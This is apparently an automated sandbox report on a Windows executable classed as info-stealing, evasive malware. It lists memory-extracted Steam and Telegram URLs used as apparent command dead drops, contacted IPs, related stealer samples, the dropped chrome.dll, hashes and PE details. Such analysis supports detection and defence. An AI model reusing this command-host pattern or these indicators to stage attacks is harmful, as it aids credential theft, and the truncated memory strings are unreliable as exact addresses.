https://broadcast.st.dl.eccdnx.com	njrtdhadawt.exe, 00000000.00000002.1551342830.0000000003998000.00000004.00000020.00020000.00000000.sdmp, njrtdhadawt.exe, 00000000.00000003.1539387427.00000000039DB000.00000004.00000020.00020000.00000000.sdmp, njrtdhadawt.exe, 00000000.00000003.1539387427.00000000039C4000.00000004.00000020.00020000.00000000.sdmp	false		high
https://store.steampowered.com/steam_refunds/	njrtdhadawt.exe, 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmp, njrtdhadawt.exe, 00000000.00000003.1539350071.0000000003A07000.00000004.00000020.00020000.00000000.sdmp, njrtdhadawt.exe, 00000000.00000002.1551342830.00000000039B3000.00000004.00000020.00020000.00000000.sdmp, 76561199794498376[1].htm.0.dr	false		high
https://community.cloudflare.steamstatic.com/public/images/skin_1/arrowDn9x5.gif	njrtdhadawt.exe, 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmp, njrtdhadawt.exe, 00000000.00000003.1539350071.0000000003A07000.00000004.00000020.00020000.00000000.sdmp, njrtdhadawt.exe, 00000000.00000002.1551342830.00000000039B3000.00000004.00000020.00020000.00000000.sdmp, 76561199794498376[1].htm.0.dr	false		high
https://community.cloudflare.steamstatic.com/public/shared/javascript/shared_responsive_adapter.js?v	njrtdhadawt.exe, 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmp, njrtdhadawt.exe, 00000000.00000002.1551342830.00000000039B3000.00000004.00000020.00020000.00000000.sdmp, 76561199794498376[1].htm.0.dr	false		high
https://community.cloudflare.steamstatic.com/public/css/skin_1/profilev2.css?v=l1VAyDrxeeyo&l=en	njrtdhadawt.exe, 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmp, njrtdhadawt.exe, 00000000.00000002.1551342830.00000000039B3000.00000004.00000020.00020000.00000000.sdmp, 76561199794498376[1].htm.0.dr	false		high
https://community.cloudflare.steamstatic.com/public/shared/images/responsive/header_menu_hamburger.p	njrtdhadawt.exe, 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmp, njrtdhadawt.exe, 00000000.00000003.1539350071.0000000003A07000.00000004.00000020.00020000.00000000.sdmp, njrtdhadawt.exe, 00000000.00000002.1551342830.00000000039B3000.00000004.00000020.00020000.00000000.sdmp, 76561199794498376[1].htm.0.dr	false		high
https://steamcommunity.com/workshop/	njrtdhadawt.exe, 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmp, njrtdhadawt.exe, 00000000.00000003.1539350071.0000000003A07000.00000004.00000020.00020000.00000000.sdmp, njrtdhadawt.exe, 00000000.00000002.1551342830.00000000039B3000.00000004.00000020.00020000.00000000.sdmp, 76561199794498376[1].htm.0.dr	false		high
https://login.steampowered.com/	njrtdhadawt.exe, 00000000.00000003.1539387427.00000000039C4000.00000004.00000020.00020000.00000000.sdmp	false		high
https://store.steampowered.com/legal/	njrtdhadawt.exe, 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmp, njrtdhadawt.exe, 00000000.00000003.1539387427.00000000039DB000.00000004.00000020.00020000.00000000.sdmp, njrtdhadawt.exe, 00000000.00000002.1551342830.00000000039B3000.00000004.00000020.00020000.00000000.sdmp, 76561199794498376[1].htm.0.dr	false		high
https://steamcommunity.com/profiles/76561199794498376idr7ffMozilla/5.0	njrtdhadawt.exe	false		high
https://t.me/a	njrtdhadawt.exe, 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmp	false		high
https://community.cloudflare.steamstatic.com/public/shared/javascript/shared_global.js?v=0y-Qdz9keFm	njrtdhadawt.exe, 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmp, njrtdhadawt.exe, 00000000.00000002.1551342830.00000000039B3000.00000004.00000020.00020000.00000000.sdmp, 76561199794498376[1].htm.0.dr	false		high
https://recaptcha.net	njrtdhadawt.exe, 00000000.00000003.1539387427.00000000039DB000.00000004.00000020.00020000.00000000.sdmp, njrtdhadawt.exe, 00000000.00000003.1539387427.00000000039C4000.00000004.00000020.00020000.00000000.sdmp	false		high
https://store.steampowered.com/	76561199794498376[1].htm.0.dr	false		high
http://127.0.0.1:27060	njrtdhadawt.exe, 00000000.00000002.1551342830.0000000003998000.00000004.00000020.00020000.00000000.sdmp, njrtdhadawt.exe, 00000000.00000003.1539387427.00000000039DB000.00000004.00000020.00020000.00000000.sdmp, njrtdhadawt.exe, 00000000.00000003.1539387427.00000000039C4000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.cloudflare.steamstatic.com/public/css/skin_1/modalContent.css?v=WXAusLHclDIt&l	njrtdhadawt.exe, 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmp, njrtdhadawt.exe, 00000000.00000002.1551342830.00000000039B3000.00000004.00000020.00020000.00000000.sdmp, 76561199794498376[1].htm.0.dr	false		high
https://community.cloudflare.steamstatic.com/public/shared/css/shared_responsive.css?v=n4_f9JKDa7wP&	njrtdhadawt.exe, 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmp, njrtdhadawt.exe, 00000000.00000002.1551342830.00000000039B3000.00000004.00000020.00020000.00000000.sdmp, 76561199794498376[1].htm.0.dr	false		high
https://community.cloudflare.steamstatic.com/public/shared/javascript/tooltip.js?v=QYkT4eS5mbTN&	njrtdhadawt.exe, 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmp, njrtdhadawt.exe, 00000000.00000002.1551342830.00000000039B3000.00000004.00000020.00020000.00000000.sdmp, 76561199794498376[1].htm.0.dr	false		high
https://community.cloudflare.steamstatic.com/public/javascript/modalContent.js?v=XfYrwi9zUC4b&l=	njrtdhadawt.exe, 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmp, njrtdhadawt.exe, 00000000.00000002.1551342830.00000000039B3000.00000004.00000020.00020000.00000000.sdmp, 76561199794498376[1].htm.0.dr	false		high
https://community.cloudflare.steamstatic.com/public/images/skin_1/footerLogo_valve.png?v=1	njrtdhadawt.exe, 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmp, njrtdhadawt.exe, 00000000.00000003.1539350071.0000000003A07000.00000004.00000020.00020000.00000000.sdmp, njrtdhadawt.exe, 00000000.00000002.1551342830.00000000039B3000.00000004.00000020.00020000.00000000.sdmp, 76561199794498376[1].htm.0.dr	false		high
https://community.cloudflare.steamstatic.com/public/javascript/prototype-1.7.js?v=npJElBnrEO6W&l	njrtdhadawt.exe, 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmp, njrtdhadawt.exe, 00000000.00000002.1551342830.00000000039B3000.00000004.00000020.00020000.00000000.sdmp, 76561199794498376[1].htm.0.dr	false		high
https://avatars.cloudflare.steamstatic.com/fef49e7fa7e1997310d705b2a6158ff8dc1cdfeb_full.jpg	76561199794498376[1].htm.0.dr	false		high
https://t.me/nj	njrtdhadawt.exe, 00000000.00000002.1551342830.00000000039B3000.00000004.00000020.00020000.00000000.sdmp	false		high
https://steamcommunity.com/linkfilter/?u=http%d-	njrtdhadawt.exe, 00000000.00000003.1539350071.0000000003A07000.00000004.00000020.00020000.00000000.sdmp	false		high
https://help.steampowered.com/	njrtdhadawt.exe, 00000000.00000003.1539387427.00000000039C4000.00000004.00000020.00020000.00000000.sdmp	false		high
https://steamcommunity.com/profiles/76561199794498376/inventory/	njrtdhadawt.exe, 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmp, njrtdhadawt.exe, 00000000.00000003.1539350071.0000000003A07000.00000004.00000020.00020000.00000000.sdmp, njrtdhadawt.exe, 00000000.00000002.1551342830.00000000039B3000.00000004.00000020.00020000.00000000.sdmp, 76561199794498376[1].htm.0.dr	false		high
https://api.steampowered.com/	njrtdhadawt.exe, 00000000.00000003.1539387427.00000000039C4000.00000004.00000020.00020000.00000000.sdmp	false		high
http://store.steampowered.com/account/cookiepreferences/	njrtdhadawt.exe, 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmp, njrtdhadawt.exe, 00000000.00000003.1539387427.00000000039DB000.00000004.00000020.00020000.00000000.sdmp, njrtdhadawt.exe, 00000000.00000002.1551342830.00000000039B3000.00000004.00000020.00020000.00000000.sdmp, 76561199794498376[1].htm.0.dr	false		high
https://community.cloudflare.steamstatic.com/public/javascript/promo/stickers.js?v=iGFW_JMULCcZ&	njrtdhadawt.exe, 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmp, njrtdhadawt.exe, 00000000.00000002.1551342830.00000000039B3000.00000004.00000020.00020000.00000000.sdmp, 76561199794498376[1].htm.0.dr	false		high
https://store.steampowered.com/mobile	njrtdhadawt.exe, 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmp, njrtdhadawt.exe, 00000000.00000003.1539350071.0000000003A07000.00000004.00000020.00020000.00000000.sdmp, njrtdhadawt.exe, 00000000.00000002.1551342830.00000000039B3000.00000004.00000020.00020000.00000000.sdmp, 76561199794498376[1].htm.0.dr	false		high
https://t.me/asg7rdidr7ffsqlo.dllMozilla/5.0	njrtdhadawt.exe	false		high
https://steamcommunity.com/	76561199794498376[1].htm.0.dr	false		high
https://community.cloudflare.steamstatic.com/public/javascript/applications/community/main.js?v=Cx79	njrtdhadawt.exe, 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmp, njrtdhadawt.exe, 00000000.00000003.1539350071.0000000003A07000.00000004.00000020.00020000.00000000.sdmp, njrtdhadawt.exe, 00000000.00000002.1551342830.00000000039B3000.00000004.00000020.00020000.00000000.sdmp, 76561199794498376[1].htm.0.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
104.102.49.254	steamcommunity.com	United States		16625	AKAMAI-ASUS	false
149.154.167.99	t.me	United Kingdom		62041	TELEGRAMRU	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1575809
Start date and time:	2024-12-16 10:43:50 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 39s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	17
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	njrtdhadawt.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@6/3@2/2
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 100% Number of executed functions: 48 Number of non-executed functions: 168
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, sppsvc.exe, WMIADAP.exe, SIHClient.exe, SgrmBroker.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 13.107.246.63, 20.109.210.53
Excluded domains from analysis (whitelisted): otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, time.windows.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
VT rate limit hit for: njrtdhadawt.exe

Simulations

Behavior and APIs

Time	Type	Description
06:11:52	API Interceptor	1x Sleep call for process: njrtdhadawt.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.102.49.254	http://gtm-cn-j4g3qqvf603.steamproxy1.com/	Get hash	malicious	Unknown	Browse	www.valvesoftware.com/legal.htm
149.154.167.99	http://xn--r1a.website/s/ogorodru	Get hash	malicious	Unknown	Browse	telegram.org/img/favicon.ico
	http://cryptorabotakzz.com/	Get hash	malicious	Unknown	Browse	telegram.org/
	http://cache.netflix.com.id1.wuush.us.kg/	Get hash	malicious	Unknown	Browse	telegram.org/dl?tme=fe3233c08ff79d4814_5062105595184761217
	http://investors.spotify.com.sg2.wuush.us.kg/	Get hash	malicious	Unknown	Browse	telegram.org/
	http://bekaaviator.kz/	Get hash	malicious	Unknown	Browse	telegram.org/
	http://telegramtw1.org/	Get hash	malicious	Unknown	Browse	telegram.org/?setln=pl
	http://makkko.kz/	Get hash	malicious	Unknown	Browse	telegram.org/
	http://telegram.dog	Get hash	malicious	Unknown	Browse	telegram.dog/
	LnSNtO8JIa.exe	Get hash	malicious	Cinoshi Stealer	Browse	t.me/cinoshibot
	jtfCFDmLdX.exe	Get hash	malicious	Gurcu Stealer, PrivateLoader, RedLine, RisePro Stealer, SmokeLoader, zgRAT	Browse	t.me/cinoshibot

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
t.me	T0x859fNfn.exe	Get hash	malicious	Vidar	Browse	149.154.167.99
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, Vidar, Xmrig	Browse	149.154.167.99
	https://zde.soundestlink.com/ce/c/675fab7ba82aca38b8d991e6/675fabf585cd17d1e3e2bb78/675fac13057112d43b540576?signature=da009f44f7cd45aeae4fbb5addf15ac91fbf725bb5e9405183f25bf1db8c8baa	Get hash	malicious	Unknown	Browse	104.26.10.61
	file.exe	Get hash	malicious	Amadey, Cryptbot, LummaC Stealer, Vidar, Xmrig	Browse	149.154.167.99
	lem.exe	Get hash	malicious	Vidar	Browse	149.154.167.99
	Setup.msi	Get hash	malicious	Vidar	Browse	149.154.167.99
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Cryptbot, LummaC Stealer, PureLog Stealer, Vidar	Browse	149.154.167.99
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar, Xmrig	Browse	149.154.167.99
	file.exe	Get hash	malicious	ScreenConnect Tool, Amadey, LummaC Stealer, Vidar, XWorm, Xmrig	Browse	149.154.167.99
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc, Vidar, Xmrig	Browse	149.154.167.99
steamcommunity.com	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Stealc, Xmrig	Browse	23.55.153.106
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, Vidar, Xmrig	Browse	104.102.49.254
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	23.55.153.106
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	23.55.153.106
	wN8pQhRNnu.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	AZCFTWko2q.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	I37faEaz1K.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	YbJEkgZ4z5.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	3cb2b5U8BR.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	afXf6ZiYTT.exe	Get hash	malicious	LummaC	Browse	23.55.153.106

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
TELEGRAMRU	T0x859fNfn.exe	Get hash	malicious	Vidar	Browse	149.154.167.99
	SWIFT091816-24_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	REQUEST FOR QUOATION AND PRICES 0910775_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, Vidar, Xmrig	Browse	149.154.167.99
	file.exe	Get hash	malicious	Amadey, Cryptbot, LummaC Stealer, Vidar, Xmrig	Browse	149.154.167.99
	lem.exe	Get hash	malicious	Vidar	Browse	149.154.167.99
	Setup.msi	Get hash	malicious	Vidar	Browse	149.154.167.99
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Cryptbot, LummaC Stealer, PureLog Stealer, Vidar	Browse	149.154.167.99
	SWIFT09181-24_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar, Xmrig	Browse	149.154.167.99
AKAMAI-ASUS	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, Vidar, Xmrig	Browse	104.102.49.254
	ppc.elf	Get hash	malicious	Unknown	Browse	23.59.85.230
	m68k.elf	Get hash	malicious	Unknown	Browse	104.116.165.114
	sparc.elf	Get hash	malicious	Unknown	Browse	23.192.60.185
	mips.elf	Get hash	malicious	Unknown	Browse	104.84.160.204
	spc.elf	Get hash	malicious	Unknown	Browse	23.74.215.158
	arm5.elf	Get hash	malicious	Unknown	Browse	104.93.240.58
	bot.arm.elf	Get hash	malicious	Mirai	Browse	95.100.63.198
	armv4l.elf	Get hash	malicious	Mirai	Browse	23.50.102.44
	rebirth.arm5.elf	Get hash	malicious	Mirai, Okiru	Browse	104.105.175.143

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
37f463bf4616ecd445d4a1937da06e19	T0x859fNfn.exe	Get hash	malicious	Vidar	Browse	104.102.49.254 149.154.167.99
	InvoiceNr274728.pdf.lnk	Get hash	malicious	Unknown	Browse	104.102.49.254 149.154.167.99
	A6IuJ5NneS.lnk	Get hash	malicious	LummaC	Browse	104.102.49.254 149.154.167.99
	KlarnaInvoice229837.pdf.lnk	Get hash	malicious	LummaC	Browse	104.102.49.254 149.154.167.99
	Arrival Notice.vbs	Get hash	malicious	Remcos, GuLoader	Browse	104.102.49.254 149.154.167.99
	SWIFT091816-24_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	104.102.49.254 149.154.167.99
	REQUEST FOR QUOATION AND PRICES 0910775_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	104.102.49.254 149.154.167.99
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, Vidar, Xmrig	Browse	104.102.49.254 149.154.167.99
	file.exe	Get hash	malicious	Amadey, Cryptbot, LummaC Stealer, Vidar, Xmrig	Browse	104.102.49.254 149.154.167.99
	c2.hta	Get hash	malicious	XWorm	Browse	104.102.49.254 149.154.167.99

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\chrome.dll	Xg0OdI1VqO.exe	Get hash	malicious	Stealc, Vidar	Browse
	A3W2CpXxiO.exe	Get hash	malicious	Stealc, Vidar	Browse
	QkBj8CevLU.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse

Created / dropped Files

C:\ProgramData\chrome.dll

Download File

Process:	C:\Users\user\Desktop\njrtdhadawt.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	692736
Entropy (8bit):	6.304379785339226
Encrypted:	false
SSDEEP:	12288:Kk5nGNLFzxC+gej5yNcTN+pt+tLK75PL2rn65hYVKKuKOvy/j3t:KMGNL/geFyNcTN+jv75TQn652VBuNyb
MD5:	EDA18948A989176F4EEBB175CE806255
SHA1:	FF22A3D5F5FB705137F233C36622C79EAB995897
SHA-256:	81A4F37C5495800B7CC46AEA6535D9180DADB5C151DB6F1FD1968D1CD8C1EEB4
SHA-512:	160ED9990C37A4753FC0F5111C94414568654AFBEDC05308308197DF2A99594F2D5D8FE511FD2279543A869ED20248E603D88A0B9B8FB119E8E6131B0C52FF85
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 75%
Joe Sandbox View:	Filename: Xg0OdI1VqO.exe, Detection: malicious, Browse Filename: A3W2CpXxiO.exe, Detection: malicious, Browse Filename: QkBj8CevLU.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Reputation:	moderate, very likely benign file
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......s,.>7M.m7M.m7M.m\|5.l<M.m\|5.l.M.m\|5.l#M.m'..l"M.m'..l'M.m'..l.M.m\|5.l:M.m7M.m.M.m7M.mlM.m...l6M.m...l6M.mRich7M.m........................PE..L......g.........."!...)............P.....................................................@..........................\..l...<].................................. 8...(..T....................(......@'..@............................................text............................... ..`.rdata..zV.......X..................@..@.data...T....p.......N..............@....reloc.. 8.......:...X..............@..B........................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\76561199794498376[1].htm

Download File

Process:	C:\Users\user\Desktop\njrtdhadawt.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (3254)
Category:	dropped
Size (bytes):	35543
Entropy (8bit):	5.372854743758115
Encrypted:	false
SSDEEP:	768:Y5pq/Ku4fmBC5ReOpltDzQlF1aXfsW9l+X9hJYFn5OMF5CBHxaXfsW9l+X9hJYMd:Y58/Ku4fmBC5ReOp/Da1aXfsW9l+X9hp
MD5:	A86E8C36D424CCE50A45C1EDDE7D4204
SHA1:	CECF76856509450F3AC66BF381B2CDB7DC0FCD8A
SHA-256:	1C72EE57FC350FC53335F4BA5D6154CE7C9D84EDE4B6831A333F10E57C1E9EA8
SHA-512:	747E713A93C748619FF2EACA90703F33FDDFEDFCE4BE393D3108D8E9DB2A5346104A6274DFFC11D9F2B270CA0A866D109BCF3F42C477CC958A05AC1ADF83127D
Malicious:	false
Reputation:	low
Preview:	<!DOCTYPE html>.<html class=" responsive" lang="en">.<head>..<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">....<meta name="viewport" content="width=device-width,initial-scale=1">...<meta name="theme-color" content="#171a21">...<title>Steam Community :: 76561199794498376</title>..<link rel="shortcut icon" href="/favicon.ico" type="image/x-icon">.......<link href="https://community.cloudflare.steamstatic.com/public/shared/css/motiva_sans.css?v=nc69vwog8R9p&l=english&_cdn=cloudflare" rel="stylesheet" type="text/css">.<link href="https://community.cloudflare.steamstatic.com/public/shared/css/buttons.css?v=G3UTKgHH4xLD&l=english&_cdn=cloudflare" rel="stylesheet" type="text/css">.<link href="https://community.cloudflare.steamstatic.com/public/shared/css/shared_global.css?v=bpFp7zU77IKn&l=english&_cdn=cloudflare" rel="stylesheet" type="text/css">.<link href="https://community.cloudflare.steamstatic.com/public/css/globalv2.css?v=i_iuPUaT8LXN&l=e

C:\Users\user\AppData\Local\Temp\delays.tmp

Download File

Process:	C:\Users\user\Desktop\njrtdhadawt.exe
File Type:	Non-ISO extended-ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	1048575
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:/7/f:D
MD5:	143591D493573B46106594932F98FC9F
SHA1:	8FCF324035655AA34A04134A35F3B196DF3EE06C
SHA-256:	74595DEBBBEB81C448318E93C5391D4E7A4445039A69E4F28061A25F505660A6
SHA-512:	8D7DB33C6C717BFA96E863664D9BA77C80D28628572453070BAD6007CA1A5D34B7570E89099313696AE9A9167EBBA034F2876BB2A47517D3E5B718677F274129
Malicious:	false
Reputation:	low
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.442437847034493
TrID:	Win32 Executable (generic) a (10002005/4) 99.55% Win32 EXE PECompact compressed (generic) (41571/9) 0.41% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	njrtdhadawt.exe
File size:	965'632 bytes
MD5:	96e4917ea5d59eca7dd21ad7e7a03d07
SHA1:	28c721effb773fdd5cb2146457c10b081a9a4047
SHA256:	cab6c398667a4645b9ac20c9748f194554a76706047f124297a76296e3e7a957
SHA512:	3414450d1a200ffdcc6e3cb477a0a11049e5e86e8d15ae5b8ed3740a52a0226774333492279092134364460b565a25a7967b987f2304355ecfd5825f86e61687
SSDEEP:	24576:ajfMVHefX7eO2FwYPMGNL/geFyNcTN+jv75TQn652VBuNyb2i:oEQreO8wRGJtF4ch+jvNm0Nyb2
TLSH:	4A259D02BB809A37D60A1371205FE3669B36A4645703CFD7A7C899747DE63C26E3836D
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......S9Hp.X&#.X&#.X&#x..#.X&#x..#.X&#x..#(X&#. .#.X&#. .#.X&#.!'".X&#.X'#.X&#x..#.X&#x..#.X&#Rich.X&#................PE..L...F..g...

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x417f30
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NO_ISOLATION, TERMINAL_SERVER_AWARE
Time Stamp:	0x671CF146 [Sat Oct 26 13:40:22 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	dae99f55715d10799c7a5f3e0cd9d13d

Entrypoint Preview

Instruction
je 00007F6CD0519995h
jne 00007F6CD0519993h
mov eax, FEAC1EE8h
push dword ptr [ebx+eax+75h]
add dword ptr [eax+000181E8h], edi
add byte ptr [ebx+eax+75h], dh
add dword ptr [eax-016E6D18h], edi
push dword ptr [ebx+eax+75h]
add dword ptr [eax-016CE318h], edi
push dword ptr [ebx+eax+75h]
add dword ptr [eax-016CED18h], edi
push dword ptr [ebx+eax+75h]
add dword ptr [eax-016CF718h], edi
push dword ptr [ebx+eax+75h]
add dword ptr [eax-016AFB18h], edi
push dword ptr [ebx+eax+75h]
add dword ptr [eax-016D0B18h], edi
push dword ptr [ebx+eax+75h]
add dword ptr [eax-016D1518h], edi
push dword ptr [ebx+eax+75h]
add dword ptr [eax-016D1F18h], edi
push dword ptr [ebx+eax+75h]
add dword ptr [eax-016B0B18h], edi
push dword ptr [ebx+eax+75h]
add dword ptr [eax-016D3318h], edi
push dword ptr [ebx+eax+75h]
add dword ptr [eax-016D3D18h], edi
push dword ptr [ebx+eax+75h]
add dword ptr [eax-016D4718h], edi
push dword ptr [ebx+eax+75h]
add dword ptr [eax-016ADC18h], edi
push dword ptr [ebx+eax+75h]
add dword ptr [eax-016D5B18h], edi
push dword ptr [ebx+eax+75h]
add dword ptr [eax-016D6518h], edi
push dword ptr [ebx+eax+75h]
add dword ptr [eax-016D6F18h], edi
jmp far eax
insd
xchg eax, esi

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x3ac78	0xdc	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x2fa000	0xb0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x2fb000	0x32d8	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2f000	0x2a8	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
